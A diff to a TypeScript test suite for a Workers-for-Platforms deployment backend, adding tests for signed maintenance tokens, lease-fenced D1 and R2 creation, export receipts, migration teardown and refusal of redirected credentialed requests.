+    const native = await createWfpMaintenanceHarness({
+      catalog,
+      external: deployment,
+      secrets,
+      publicKey: MAINTENANCE_CAPABILITY_PUBLIC_KEY,
+    });
+    try {
+      const client = new FakeApi();
+      await client.putDispatchSecrets(catalog.scriptName, secrets, {
+        includeMaintenanceAdmin: true,
+      });
+      await client.uploadDispatchWorker(
+        catalog,
+        { id: 'db-acme', name: catalog.databaseName, created: false },
+        catalog.scriptName,
+        undefined,
+        undefined,
+        MAINTENANCE_CAPABILITY_PUBLIC_KEY,
+      );
+      const options = {
+        namespacedState: NAMESPACED_STATE,
+        client,
+        fetch: native.fetch,
+        hostRoutingKvId: 'host-routes',
+        platformProfileFor: () => platformProfile(),
+      };
+      const backend = new WorkersForPlatformsBackend(options);
+      const health = await backend.ensureMaintenance(
+        catalog,
+        secrets.maintenanceAdmin,
+        fence,
+        'etag-v1',
+      );
+      expect(health.armed).toBe(true);
+      const ensured = native.requests.at(-1);
+      if (!ensured) throw new Error('native ensure request is missing');
+      expect((await native.fetch(ensured.clone())).status).toBe(401);
+      const live = await backend.inspect(
+        catalog,
+        secrets.maintenanceAdmin,
+        'etag-v1',
+      );
+      expect(live?.maintenance).toMatchObject({
+        armed: true,
+        deploymentSpecDigest: deploymentSpecDigest(catalog),
+      });
+      const status = native.requests.at(-1);
+      if (!status) throw new Error('native status request is missing');
+      expect((await native.fetch(status.clone())).status).toBe(200);
+      expect((await native.fetch(status.clone())).status).toBe(200);
+
+      const wrong = await mintAsymmetricMaintenanceCapability({
+        privateKey: MAINTENANCE_CAPABILITY_PRIVATE_KEY,
+        operation: 'ensure-maintenance',
+        tenantTag: catalog.tenantTag,
+        environment: catalog.environment,
+        scriptName: catalog.scriptName,
+        specDigest: 'f'.repeat(64),
+        nonce: 'DDDDDDDDDDDDDDDDDDDDDD',
+      });
+      const local = (token: string) =>
+        new Request('https://catalog.test/admin/ensure-maintenance', {
+          method: 'POST',
+          headers: { authorization: `Bearer ${token}` },
+        });
+      expect((await native.catalogFetch(local(wrong.token))).status).toBe(401);
+      const valid = await mintAsymmetricMaintenanceCapability({
+        privateKey: MAINTENANCE_CAPABILITY_PRIVATE_KEY,
+        operation: 'ensure-maintenance',
+        tenantTag: catalog.tenantTag,
+        environment: catalog.environment,
+        scriptName: catalog.scriptName,
+        specDigest: deploymentSpecDigest(catalog),
+        nonce: wrong.claims.nonce,
+      });
+      expect((await native.catalogFetch(local(valid.token))).status).toBe(200);
+      expect((await native.catalogFetch(local(valid.token))).status).toBe(401);
+      expect(
+        (await native.catalogFetch(local(secrets.maintenanceAdmin))).status,
+      ).toBe(401);
+      expect(
+        (
+          await native.catalogFetch(
+            new Request('https://catalog.test/admin/execution-fence', {
+              headers: { authorization: `Bearer ${valid.token}` },
+            }),
+          )
+        ).status,
+      ).toBe(401);
+      expect(
+        (
+          await native.catalogFetch(
+            new Request('https://catalog.test/admin/execution-fence', {
+              headers: { authorization: `Bearer ${secrets.maintenanceAdmin}` },
+            }),
+          )
+        ).status,
+      ).toBe(200);
+
+      const externalClient = new FakeApi();
+      const external = new WorkersForPlatformsBackend({
+        ...options,
+        client: externalClient,
+      });
+      expect(
+        await external.ensureMaintenance(
+          deployment,
+          secrets.maintenanceAdmin,
+          fence,
+          'etag-v1',
+        ),
+      ).toMatchObject({
+        armed: true,
+        deploymentSpecDigest: deploymentSpecDigest(deployment),
+      });
+      expect(
+        (await external.inspect(deployment, secrets.maintenanceAdmin))
+          ?.maintenance.armed,
+      ).toBe(true);
+
+      const unsignedBody = new WorkersForPlatformsBackend({
+        ...options,
+        fetch: async (input, init) => {
+          const response = await native.fetch(input, init);
+          await response.arrayBuffer();
+          return Response.json(
+            { alarmAt: null },
+            { headers: response.headers },
+          );
+        },
+      });
+      expect(
+        (await unsignedBody.inspect(catalog, secrets.maintenanceAdmin))
+          ?.maintenance.armed,
+      ).toBe(true);
+      const missingReceipt = new WorkersForPlatformsBackend({
+        ...options,
+        fetch: async (input, init) => {
+          const response = await native.fetch(input, init);
+          const headers = new Headers(response.headers);
+          headers.delete(MAINTENANCE_RECEIPT_HEADER);
+          return new Response(await response.arrayBuffer(), {
+            status: response.status,
+            headers,
+          });
+        },
+      });
+      await expect(
+        missingReceipt.inspect(catalog, secrets.maintenanceAdmin),
+      ).rejects.toThrow('does not match dispatch Worker');
+      expect(native.calls.map(({ scriptName }) => scriptName)).toContain(
+        externalReleaseScriptName(deployment),
+      );
+      expect(native.calls[0]?.options).toMatchObject({
+        limits: { cpuMs: 1000, subRequests: 50 },
+      });
+    } finally {
+      await native.close();
+    }
+  }, 90_000);
+
+  it.each([
+    'current',
+    'changed',
+  ] as const)('inspects signed mutable catalog health when the requested spec is %s', async (selection) => {
+    const current: DeploymentSpec = { ...deployment, authoredBy: 'platform' };
+    const requested =
+      selection === 'current'
+        ? current
+        : {
+            ...current,
+            modules: [
+              { name: 'worker.js', content: 'export default { fetch() {} }' },
+            ],
+          };
+    const client = new FakeApi();
+    client.dispatchWorkers.set(current.scriptName, {
+      artifactVersion: 'catalog-v1',
+      databaseIds: ['db-acme'],
+      durableObjectBindings: [],
+      secretNames: ['DEPLOYMENT_IDENTITY_SECRET', 'MAINTENANCE_ADMIN_SECRET'],
+      tenantTag: current.tenantTag,
+      environment: current.environment,
+      schemaVersion: current.schemaVersion,
+      desiredSpecDigest: deploymentSpecDigest(current),
+      plainTextBindings: {
+        FLEET_MAINTENANCE_CAPABILITIES: 'required',
+        FLEET_MAINTENANCE_CAPABILITY_PUBLIC_KEY:
+          MAINTENANCE_CAPABILITY_PUBLIC_KEY,
+        FLEET_DEPLOYMENT_SCRIPT: current.scriptName,
+        FLEET_RESOURCE_ROLE: 'platform-catalog',
+      },
+      providerBindingIdentities: [],
+    });
+    const request = vi.fn(attestedHealthResponse);
+    const backend = new WorkersForPlatformsBackend({
+      namespacedState: NAMESPACED_STATE,
+      client,
+      fetch: request,
+      hostRoutingKvId: 'host-routes',
+      platformProfileFor: () => ({
+        maintenanceCapabilityPublicKey: MAINTENANCE_CAPABILITY_PUBLIC_KEY,
+        maintenanceCapabilityPrivateKey: MAINTENANCE_CAPABILITY_PRIVATE_KEY,
+      }),
+    });
+    expect(
+      await backend.inspect(requested, secrets.maintenanceAdmin),
+    ).toMatchObject({
+      artifactVersion: 'catalog-v1',
+      desiredSpecDigest: deploymentSpecDigest(current),
+      maintenance: {
+        armed: true,
+        deploymentSpecDigest: deploymentSpecDigest(current),
+      },
+    });
+    expect(String(request.mock.calls[0]?.[0])).toBe(
+      `https://control-acme.example.test/.well-known/anchorage/maintenance/acme/production/${current.scriptName}/${deploymentSpecDigest(current)}/maintenance-status`,
+    );
+    if (selection === 'current') {
+      expect(
+        await backend.ensureMaintenance(
+          requested,
+          secrets.maintenanceAdmin,
+          fence,
+          'catalog-v1',
+        ),
+      ).toMatchObject({ armed: true });
+    } else {
+      await expect(
+        backend.ensureMaintenance(
+          requested,
+          secrets.maintenanceAdmin,
+          fence,
+          'catalog-v1',
+        ),
+      ).rejects.toThrow('specification digest');
+      expect(request).toHaveBeenCalledOnce();
+    }
+  });
+
+  it('exposes and forwards receipt export only for a capable WFP client', async () => {
+    const absentClient = new FakeApi();
+    const absent = new WorkersForPlatformsBackend({
+      namespacedState: NAMESPACED_STATE,
+      client: absentClient,
+      hostRoutingKvId: 'host-routing',
+    });
+    expect('databaseExportReceiptAuthority' in absent).toBe(false);
+    expect('exportDatabaseReceipt' in absent).toBe(false);
+
+    const client = new FakeApi();
+    const legacy = vi
+      .spyOn(client, 'exportDatabase')
+      .mockRejectedValue(new Error('legacy export must not run'));
+    let authorityReads = 0;
+    let methodReads = 0;
+    let receiver: unknown;
+    let received: DatabaseExportReceiptIdentity | undefined;
+    Object.defineProperties(client, {
+      databaseExportReceiptAuthority: {
+        configurable: true,
+        get() {
+          authorityReads += 1;
+          return RECEIPT_AUTHORITY;
+        },
+      },
+      exportDatabaseReceipt: {
+        configurable: true,
+        get() {
+          methodReads += 1;
+          return function (
+            this: unknown,
+            identity: DatabaseExportReceiptIdentity,
+          ) {
+            receiver = this;
+            received = identity;
+            return Promise.resolve({
+              databaseId: identity.databaseId,
+              location: 'r2://fleet-exports/receipt.sql',
+              size: 4,
+              sha256: 'a'.repeat(64),
+            });
+          };
+        },
+      },
+    });
+    const capable = new WorkersForPlatformsBackend({
+      namespacedState: NAMESPACED_STATE,
+      client,
+      hostRoutingKvId: 'host-routing',
+    });
+    expect(capable.databaseExportReceiptAuthority).toBe(RECEIPT_AUTHORITY);
+    expect([authorityReads, methodReads]).toEqual([1, 1]);
+    const exportReceipt = capable.exportDatabaseReceipt;
+    if (!exportReceipt) throw new Error('expected receipt export capability');
+    await expect(exportReceipt(RECEIPT_IDENTITY, fence)).resolves.toEqual({
+      databaseId: RECEIPT_IDENTITY.databaseId,
+      location: 'r2://fleet-exports/receipt.sql',
+      size: 4,
+      sha256: 'a'.repeat(64),
+    });
+    expect(receiver).toBe(client);
+    expect(received).toEqual(RECEIPT_IDENTITY);
+    expect(client.mutationFenceEntries).toBe(1);
+    expect(legacy).not.toHaveBeenCalled();
+
+    received = undefined;
+    const authorityFailure = await Promise.resolve()
+      .then(() =>
+        exportReceipt(
+          { ...RECEIPT_IDENTITY, authority: 'r2://different/receipts/v1' },
+          fence,
+        ),
+      )
+      .catch((error: unknown) => error);
+    expect(authorityFailure).toBeInstanceOf(Error);
+    expect((authorityFailure as Error).message).toBe(
+      'database export receipt authority differs from configured authority',
+    );
+    expect((authorityFailure as Error).cause).toBeUndefined();
+    expect(received).toBeUndefined();
+    expect(client.mutationFenceEntries).toBe(1);
+
+    const incomplete = new FakeApi();
+    Object.defineProperty(incomplete, 'databaseExportReceiptAuthority', {
+      configurable: true,
+      value: RECEIPT_AUTHORITY,
+    });
+    const failure = (() => {
+      try {
+        return new WorkersForPlatformsBackend({
+          namespacedState: NAMESPACED_STATE,
+          client: incomplete,
+          hostRoutingKvId: 'host-routing',
+        });
+      } catch (error) {
+        return error;
+      }
+    })();
+    expect(failure).toBeInstanceOf(Error);
+    expect((failure as Error).message).toBe(
+      'database export receipt capability is malformed',
+    );
+    expect((failure as Error).cause).toBeUndefined();
+
+    for (const property of [
+      'databaseExportReceiptAuthority',
+      'exportDatabaseReceipt',
+    ] as const) {
+      const throwingClient = new FakeApi();
+      if (property === 'exportDatabaseReceipt') {
+        Object.defineProperty(
+          throwingClient,
+          'databaseExportReceiptAuthority',
+          { configurable: true, value: RECEIPT_AUTHORITY },
+        );
+      }
+      Object.defineProperty(throwingClient, property, {
+        configurable: true,
+        get() {
+          throw new Error(`${property} getter must not escape`);
+        },
+      });
+      const getterFailure = (() => {
+        try {
+          return new WorkersForPlatformsBackend({
+            namespacedState: NAMESPACED_STATE,
+            client: throwingClient,
+            hostRoutingKvId: 'host-routing',
+          });
+        } catch (error) {
+          return error;
+        }
+      })();
+      expect(getterFailure).toBeInstanceOf(Error);
+      expect((getterFailure as Error).message).toBe(
+        'database export receipt capability is malformed',
+      );
+      expect((getterFailure as Error).cause).toBeUndefined();
+    }
+  });
+
   it('provisions dispatch-native state without an ordinary per-deployment Worker', async () => {
     const client = new FakeApi();
     const external = {
@@ -1825,9 +2998,11 @@ describe('WorkersForPlatformsBackend', () => {
   });
 
   it.each([
-    'persisted',
-    'provider-committed',
-  ] as const)('deletes the exact %s trusted-resource variant after an interrupted migration', async (liveVariant) => {
+    ['persisted', false],
+    ['provider-committed', false],
+    ['persisted', true],
+    ['provider-committed', true],
+  ] as const)('deletes the exact %s trusted-resource variant after an interrupted migration (compatibility: %s)', async (liveVariant, compatibility) => {
     const client = new FakeApi();
     const initialSpec = {
       ...deployment,
@@ -1919,6 +3094,7 @@ describe('WorkersForPlatformsBackend', () => {
       },
     );
 
+    let teardownRecord = record;
     if (liveVariant === 'provider-committed') {
       await backend.ensurePlatformResources(
         targetSpec,
@@ -1928,18 +3104,97 @@ describe('WorkersForPlatformsBackend', () => {
         record,
         fence,
       );
+      const {
+        migrationIntent: _migrationIntent,
+        pendingSpecDigest: _pendingSpecDigest,
+        pendingArtifactVersion: _pendingArtifactVersion,
+        ...withoutCarrier
+      } = record;
+      teardownRecord = decommissionAdvancingRecordFixture(
+        {
+          ...withoutCarrier,
+          desiredSpecDigest: targetRelease.specDigest,
+        },
+        'worker-deleted',
+        {
+          requestedSpecDigest: targetRelease.specDigest,
+          entryLifecyclePhase: 'migrating',
+        },
+      );
+      const teardownIntent = teardownRecord.decommissionIntent;
+      if (!teardownIntent || teardownIntent.state === 'complete') {
+        throw new Error('missing active decommission recovery marker');
+      }
+      const wrongMarker: FleetRecord = {
+        ...teardownRecord,
+        decommissionIntent: {
+          ...teardownIntent,
+          identity: {
+            ...teardownIntent.identity,
+            mode: {
+              kind: 'normal',
+              requestedSpecDigest: targetRelease.specDigest,
+              entryLifecyclePhase: 'ready',
+            },
+          },
+        },
+      };
+      client.calls.length = 0;
+      await expect(
+        backend.revokePlatformResourceCredentials(
+          targetSpec,
+          wrongMarker,
+          database,
+          fence,
+        ),
+      ).rejects.toThrow(/drifted state Worker/u);
+      expect(client.calls).not.toContain('revoke');
+    }
+
+    if (compatibility) {
+      teardownRecord = {
+        ...record,
+        desiredSpecDigest: targetRelease.specDigest,
+        phase: 'worker-deleted',
+      };
+      if (liveVariant === 'provider-committed') {
+        const intent = teardownRecord.migrationIntent;
+        if (!intent) throw new Error('missing retained migration authority');
+        await expect(
+          backend.revokePlatformResourceCredentials(
+            targetSpec,
+            {
+              ...teardownRecord,
+              migrationIntent: {
+                ...intent,
+                target: {
+                  ...intent.target,
+                  stateArtifactDigest: 'f'.repeat(64),
+                },
+              },
+            },
+            database,
+            fence,
+          ),
+        ).rejects.toThrow(/drifted state Worker/);
+      }
     }
 
     await expect(
       backend.revokePlatformResourceCredentials(
         targetSpec,
-        record,
+        teardownRecord,
         database,
         fence,
       ),
     ).resolves.toBeUndefined();
     await expect(
-      backend.deletePlatformResources(targetSpec, record, database, fence),
+      backend.deletePlatformResources(
+        targetSpec,
+        teardownRecord,
+        database,
+        fence,
+      ),
     ).resolves.toBeUndefined();
     expect(client.dispatchWorkers.size).toBe(0);
     if (liveVariant === 'provider-committed') {
@@ -2363,6 +3618,112 @@ describe('WorkersForPlatformsBackend', () => {
     });
   });
 
+  it('refuses a D1 create before dispatch when the lease is already lost', async () => {
+    const client = new FakeApi();
+    const subject = new WorkersForPlatformsBackend({
+      namespacedState: NAMESPACED_STATE,
+      client,
+      hostRoutingKvId: 'host-routing',
+    });
+    const denied = new Error('lease lost');
+    const lostFence: ExternalMutationFence = {
+      mutationLeaseTtlMs: 60_000,
+      assertOwned: vi.fn(async () => Promise.reject(denied)),
+    };
+
+    await expect(subject.ensureDatabase(deployment, lostFence)).rejects.toBe(
+      denied,
+    );
+    expect(client.databaseCreateCalls).toBe(0);
+    expect(client.databaseFindCalls).toBe(0);
+  });
+
+  it('refuses D1 readback when the lease is lost during creation', async () => {
+    const client = new FakeApi();
+    client.failDatabaseCreateAfterCommit = true;
+    const subject = new WorkersForPlatformsBackend({
+      namespacedState: NAMESPACED_STATE,
+      client,
+      hostRoutingKvId: 'host-routing',
+    });
+    const denied = new Error('lease lost');
+    const assertOwned = vi
+      .fn<() => Promise<void>>()
+      .mockResolvedValueOnce()
+      .mockRejectedValue(denied);
+
+    await expect(
+      subject.ensureDatabase(deployment, {
+        mutationLeaseTtlMs: 60_000,
+        assertOwned,
+      }),
+    ).rejects.toBe(denied);
+    expect(client.databaseCreateCalls).toBe(1);
+    expect(client.databaseFindCalls).toBe(0);
+  });
+
+  it('refuses an R2 create before dispatch when the lease is already lost', async () => {
+    const client = new FakeApi();
+    const subject = new WorkersForPlatformsBackend({
+      namespacedState: NAMESPACED_STATE,
+      client,
+      hostRoutingKvId: 'host-routing',
+    });
+    const denied = new Error('lease lost');
+
+    await expect(
+      subject.ensureApplicationR2Bucket(r2Resource, {
+        mutationLeaseTtlMs: 60_000,
+        assertOwned: vi.fn(async () => Promise.reject(denied)),
+      }),
+    ).rejects.toBe(denied);
+    expect(client.r2CreateCalls).toBe(0);
+    expect(client.r2ReadCalls).toBe(0);
+  });
+
+  it('refuses R2 readback when the lease is lost during creation', async () => {
+    const client = new FakeApi();
+    client.failR2CreateAfterCommit = true;
+    const subject = new WorkersForPlatformsBackend({
+      namespacedState: NAMESPACED_STATE,
+      client,
+      hostRoutingKvId: 'host-routing',
+    });
+    const denied = new Error('lease lost');
+    const assertOwned = vi
+      .fn<() => Promise<void>>()
+      .mockResolvedValueOnce()
+      .mockRejectedValue(denied);
+
+    await expect(
+      subject.ensureApplicationR2Bucket(r2Resource, {
+        mutationLeaseTtlMs: 60_000,
+        assertOwned,
+      }),
+    ).rejects.toBe(denied);
+    expect(client.r2CreateCalls).toBe(1);
+    expect(client.r2ReadCalls).toBe(0);
+  });
+
+  it('reconciles a duplicate R2 create while the lease remains healthy', async () => {
+    const client = new FakeApi();
+    client.failR2CreateAfterCommit = true;
+    const subject = new WorkersForPlatformsBackend({
+      namespacedState: NAMESPACED_STATE,
+      client,
+      hostRoutingKvId: 'host-routing',
+    });
+
+    await expect(
+      subject.ensureApplicationR2Bucket(r2Resource, fence),
+    ).resolves.toEqual({
+      ...r2Resource,
+      creationDate: '2026-08-26T00:00:00.000Z',
+    });
+    expect(client.r2CreateCalls).toBe(1);
+    expect(client.r2ReadCalls).toBe(1);
+  });
+
   it('rejects an authorized D1 create race that resolves to another owner', async () => {
     const client = new FakeApi();
     client.failDatabaseCreateAfterCommit = true;
@@ -2379,6 +3740,40 @@ describe('WorkersForPlatformsBackend', () => {
     expect(client.database).toMatchObject({ name: deployment.databaseName });
   });
 
+  it('seeds optional FS8 metadata through string-bound provider SQL', async () => {
+    const client = new FakeApi();
+    const subject = new WorkersForPlatformsBackend({
+      namespacedState: NAMESPACED_STATE,
+      client,
+      hostRoutingKvId: 'host-routing',
+    });
+    await subject.seedDeploymentIdentity(
+      { id: 'db-persisted', name: deployment.databaseName, created: false },
+      'acme',
+      fence,
+      { initialExecutionFenceState: 'migration-locked' },
+    );
+    expect(
+      client.fenceState.queryDatabase('SELECT * FROM flowsafe_execution_fence'),
+    ).toEqual([
+      {
+        id: 'deployment',
+        state: 'migration-locked',
+        proof_key: null,
+        proof_run_id: null,
+        updated_at: expect.any(Number),
+        last_transition_request: null,
+        transition_revision: 0,
+        mutation_epoch: 0,
+        require_mutation_epoch: 0,
+        proof_table_prefix: null,
+        proof_workflow_id: null,
+        proof_start_token: null,
+      },
+    ]);
+    expect(client.mutationFenceEntries).toBe(1);
+  });
+
   it('runs D1 ownership reads inside the provider mutation fence', async () => {
     const client = new FakeApi();
     const subject = new WorkersForPlatformsBackend({
@@ -2396,12 +3791,139 @@ describe('WorkersForPlatformsBackend', () => {
     expect(client.mutationFenceEntries).toBe(1);
   });
 
-  it('uses authenticated fixed maintenance endpoints', async () => {
+  it.each([
+    'injected',
+    'default',
+  ] as const)('uses authenticated fixed maintenance endpoints with %s fetch', async (selection) => {
     const fetch = vi.fn(attestedHealthResponse);
+    if (selection === 'default') vi.stubGlobal('fetch', fetch);
+    try {
+      const backend = new WorkersForPlatformsBackend({
+        namespacedState: NAMESPACED_STATE,
+        client: new FakeApi(),
+        ...(selection === 'injected' ? { fetch } : {}),
+        hostRoutingKvId: 'host-routes',
+        platformProfileFor: () => platformProfile(),
+      });
+
+      await expect(
+        backend.ensureMaintenance(
+          deployment,
+          secrets.maintenanceAdmin,
+          fence,
+          'etag-v1',
+        ),
+      ).resolves.toMatchObject({ armed: true, nextAlarmAt: 2_000 });
+      const live = await backend.inspect(deployment, secrets.maintenanceAdmin);
+      expect(live?.maintenance).toMatchObject({
+        armed: true,
+        nextAlarmAt: 2_000,
+      });
+      expect(
+        fetch.mock.contexts.map((context) => context === undefined),
+      ).toEqual([true, true]);
+
+      expect(String(fetch.mock.calls[0]?.[0])).toBe(
+        `https://control-acme.example.test/.well-known/anchorage/maintenance/acme/production/${externalReleaseScriptName(deployment)}/${deploymentSpecDigest(deployment)}/ensure-maintenance`,
+      );
+      expect(String(fetch.mock.calls[1]?.[0])).toBe(
+        `https://control-acme.example.test/.well-known/anchorage/maintenance/acme/production/${externalReleaseScriptName(deployment)}/${deploymentSpecDigest(deployment)}/maintenance-status`,
+      );
+      for (const [, init] of fetch.mock.calls) {
+        expect(new Headers(init?.headers).get('authorization')).toMatch(
+          /^Bearer ey/,
+        );
+        expect(init?.signal).toBeInstanceOf(AbortSignal);
+        expect(init?.redirect).toBe('manual');
+      }
+    } finally {
+      if (selection === 'default') vi.unstubAllGlobals();
+    }
+  });
+
+  it.each([
+    'ensureMaintenance',
+    'inspect',
+  ] as const)('refuses a redirected %s response that carries a valid receipt', async (operation) => {
+    const cancelled = vi.fn();
+    const redirected: typeof fetch = async (input, init) => {
+      const attested = await attestedHealthResponse(input, init);
+      expect(attested.headers.get(MAINTENANCE_RECEIPT_HEADER)).toEqual(
+        expect.any(String),
+      );
+      void attested.body?.cancel();
+      return new Response(new ReadableStream({ cancel: cancelled }), {
+        status: 302,
+        headers: [
+          ...attested.headers,
+          ['location', 'https://redirected.invalid/elsewhere'],
+        ],
+      });
+    };
     const backend = new WorkersForPlatformsBackend({
       namespacedState: NAMESPACED_STATE,
       client: new FakeApi(),
-      fetch,
+      fetch: redirected,
+      hostRoutingKvId: 'host-routes',
+      platformProfileFor: () => platformProfile(),
+    });
+
+    await expect(
+      operation === 'ensureMaintenance'
+        ? backend.ensureMaintenance(
+            deployment,
+            secrets.maintenanceAdmin,
+            fence,
+            'etag-v1',
+          )
+        : backend.inspect(deployment, secrets.maintenanceAdmin),
+    ).rejects.toMatchObject({
+      name: 'CredentialedRedirectRefusedError',
+      message:
+        'Workers for Platforms maintenance request refused a redirect with status 302',
+    });
+    expect(cancelled).toHaveBeenCalledTimes(1);
+  });
+
+  it.each([
+    'ensureMaintenance',
+    'inspect',
+  ] as const)('cancels the unread %s maintenance response body', async (operation) => {
+    const cancelled = vi.fn();
+    const streamed: typeof fetch = async (input, init) => {
+      const attested = await attestedHealthResponse(input, init);
+      void attested.body?.cancel();
+      return new Response(new ReadableStream({ cancel: cancelled }), {
+        headers: attested.headers,
+      });
+    };
+    const backend = new WorkersForPlatformsBackend({
+      namespacedState: NAMESPACED_STATE,
+      client: new FakeApi(),
+      fetch: streamed,
+      hostRoutingKvId: 'host-routes',
+      platformProfileFor: () => platformProfile(),
+    });
+
+    await (operation === 'ensureMaintenance'
+      ? backend.ensureMaintenance(
+          deployment,
+          secrets.maintenanceAdmin,
+          fence,
+          'etag-v1',
+        )
+      : backend.inspect(deployment, secrets.maintenanceAdmin));
+
+    expect(cancelled).toHaveBeenCalledTimes(1);
+  });
+
+  it('cancels the maintenance response body when no receipt attests it', async () => {
+    const cancelled = vi.fn();
+    const backend = new WorkersForPlatformsBackend({
+      namespacedState: NAMESPACED_STATE,
+      client: new FakeApi(),
+      fetch: async () =>
+        new Response(new ReadableStream({ cancel: cancelled })),
       hostRoutingKvId: 'host-routes',
       platformProfileFor: () => platformProfile(),
     });
@@ -2413,21 +3935,9 @@ describe('WorkersForPlatformsBackend', () => {
         fence,
         'etag-v1',
       ),
-    ).resolves.toMatchObject({ armed: true, nextAlarmAt: 2_000 });
-    await backend.inspect(deployment, secrets.maintenanceAdmin);
+    ).rejects.toThrow(/did not attest fleet specification digest/);
 
-    expect(String(fetch.mock.calls[0]?.[0])).toBe(
-      `https://control-acme.example.test/.well-known/anchorage/maintenance/acme/production/${externalReleaseScriptName(deployment)}/${deploymentSpecDigest(deployment)}/ensure-maintenance`,
-    );
-    expect(String(fetch.mock.calls[1]?.[0])).toBe(
-      `https://control-acme.example.test/.well-known/anchorage/maintenance/acme/production/${externalReleaseScriptName(deployment)}/${deploymentSpecDigest(deployment)}/maintenance-status`,
-    );
-    for (const [, init] of fetch.mock.calls) {
-      expect(new Headers(init?.headers).get('authorization')).toMatch(
-        /^Bearer ey/,
-      );
-      expect(init?.signal).toBeInstanceOf(AbortSignal);
-    }
+    expect(cancelled).toHaveBeenCalledTimes(1);
   });
 
   it('uses only the signed trusted result when candidate response body is forged', async () => {
@@ -2574,6 +4084,7 @@ describe('WorkersForPlatformsBackend', () => {
       namespacedState: NAMESPACED_STATE,
       client: api,
       hostRoutingKvId: 'host-routes',
+      platformProfileFor: () => platformProfile(),
     });
     await expect(
       backend.deployWorker(
@@ -2608,6 +4119,15 @@ describe('WorkersForPlatformsBackend', () => {
     expect(api.dispatchSecretOptions.at(-1)).toEqual({
       includeMaintenanceAdmin: true,
     });
+    expect(
+      api.dispatchWorkers.get(platform.scriptName)?.plainTextBindings,
+    ).toMatchObject({
+      FLEET_MAINTENANCE_CAPABILITIES: 'required',
+      FLEET_MAINTENANCE_CAPABILITY_PUBLIC_KEY:
+        MAINTENANCE_CAPABILITY_PUBLIC_KEY,
+      FLEET_DEPLOYMENT_SCRIPT: platform.scriptName,
+      FLEET_RESOURCE_ROLE: 'platform-catalog',
+    });
   });
 
   it('rejects an out-of-band immutable dispatch artifact overwrite before secrets or upload', async () => {
@@ -3042,6 +4562,270 @@ describe('WorkersForPlatformsBackend', () => {
     expect(api.calls).not.toContain('delete-inventory');
   });
 
+  it('exposes a bounded attachment scanner only when the client supplies one', async () => {
+    const absentBackend = new WorkersForPlatformsBackend({
+      namespacedState: NAMESPACED_STATE,
+      client: new FakeApi(),
+      hostRoutingKvId: 'host-routes',
+    });
+    expect(absentBackend.advanceDecommissionAttachmentScan).toBeUndefined();
+    expect('advanceDecommissionAttachmentScan' in absentBackend).toBe(false);
+    expect(
+      Object.hasOwn(absentBackend, 'advanceDecommissionAttachmentScan'),
+    ).toBe(false);
+
+    const input: DecommissionAttachmentScanInput = {
+      progress: {
+        version: 1,
+        target: { kind: 'd1', databaseId: 'db-acme' },
+        evidenceSha256: '0'.repeat(64),
+        evidenceCount: 0,
+        stage: 'ordinary-script-inventory',
+        scriptIndex: 0,
+      },
+      maxProviderRequests: 12,
+      signal: new AbortController().signal,
+    };
+    const result = Object.freeze({
+      status: 'drift',
+    } as const satisfies DecommissionAttachmentScanResult);
+    let receivedThis: WorkersForPlatformsApi | undefined;
+    let receivedInput: DecommissionAttachmentScanInput | undefined;
+    const capability = vi.fn(function (
+      this: WorkersForPlatformsApi,
+      candidate: DecommissionAttachmentScanInput,
+    ) {
+      receivedThis = this;
+      receivedInput = candidate;
+      return Promise.resolve(result);
+    });
+    const capableClient = Object.assign(new FakeApi(), {
+      advanceDecommissionAttachmentScan: capability,
+    });
+    const capableBackend = new WorkersForPlatformsBackend({
+      namespacedState: NAMESPACED_STATE,
+      client: capableClient,
+      hostRoutingKvId: 'host-routes',
+    });
+
+    expect(typeof capableBackend.advanceDecommissionAttachmentScan).toBe(
+      'function',
+    );
+    expect('advanceDecommissionAttachmentScan' in capableBackend).toBe(true);
+    expect(
+      Object.hasOwn(capableBackend, 'advanceDecommissionAttachmentScan'),
+    ).toBe(true);
+    await expect(
+      capableBackend.advanceDecommissionAttachmentScan?.(input),
+    ).resolves.toBe(result);
+    expect(capability).toHaveBeenCalledTimes(1);
+    expect(receivedThis).toBe(capableClient);
+    expect(receivedInput).toBe(input);
+  });
+
+  it('keeps owned D1 residual checks independent from the legacy attachment scan', async () => {
+    type AssertionPath = 'residual' | 'legacy';
+
+    const database: DatabaseReference = {
+      id: 'db-acme',
+      name: deployment.databaseName,
+      created: false,
+    };
+    const physicalScriptName = externalReleaseScriptName(deployment);
+    const stateName = externalStateScriptName(deployment);
+    const proxyName = externalEgressProxyScriptName(deployment);
+    const record: FleetRecord = {
+      tenantTag: deployment.tenantTag,
+      backend: 'workers-for-platforms',
+      environment: deployment.environment,
+      scriptName: deployment.scriptName,
+      databaseId: database.id,
+      databaseName: database.name,
+      schemaVersion: deployment.schemaVersion,
+      artifactVersion: 'etag-v1',
+      desiredSpecDigest: deploymentSpecDigest(deployment),
+      activeRelease: {
+        physicalScriptName,
+        specDigest: deploymentSpecDigest(deployment),
+        artifactVersion: 'etag-v1',
+        releaseSchemaVersion: deployment.schemaVersion,
+      },
+      durableObjectBindings: [
+        {
+          name: 'MAINTENANCE',
+          className: 'Maintenance',
+          namespaceId: 'namespace-maintenance',
+        },
+      ],
+      routeHostname: deployment.routeHostname,
+      phase: 'database-deleting',
+      updatedAt: '2026-08-11T00:00:00.000Z',
+    };
+    const prefix = (path: AssertionPath): readonly string[] => [
+      'fence',
+      'host',
+      ...(path === 'legacy' ? ['attachments'] : []),
+    ];
+    const successEvents = (path: AssertionPath): readonly string[] => [
+      ...prefix(path),
+      `release:${physicalScriptName}`,
+      `inventory:${physicalScriptName}`,
+      `control:${stateName}`,
+      `control:${proxyName}`,
+      `namespaces:${stateName}`,
+      'namespace:namespace-maintenance',
+      'fence',
+    ];
+    const scenario = async (
+      path: AssertionPath,
+      configure: (client: FakeApi) => void | Promise<void> = () => {},
+      candidateRecord: FleetRecord = record,
+    ) => {
+      const client = new FakeApi();
+      client.exists = false;
+      await configure(client);
+      const events: string[] = [];
+      client.residualEvents = events;
+      const assertOwned = vi.fn(async () => {
+        events.push('fence');
+      });
+      const assertionFence: ExternalMutationFence = {
+        mutationLeaseTtlMs: 60_000,
+        assertOwned,
+      };
+      const backend = new WorkersForPlatformsBackend({
+        namespacedState: NAMESPACED_STATE,
+        client,
+        hostRoutingKvId: 'host-routes',
+      });
+      const invoke = () =>
+        path === 'legacy'
+          ? backend.assertDatabaseDetached(
+              deployment,
+              candidateRecord,
+              database,
+              assertionFence,
+            )
+          : backend.assertDatabaseDeletionResidualsRemoved(
+              deployment,
+              candidateRecord,
+              database,
+              assertionFence,
+            );
+      return { assertOwned, events, invoke };
+    };
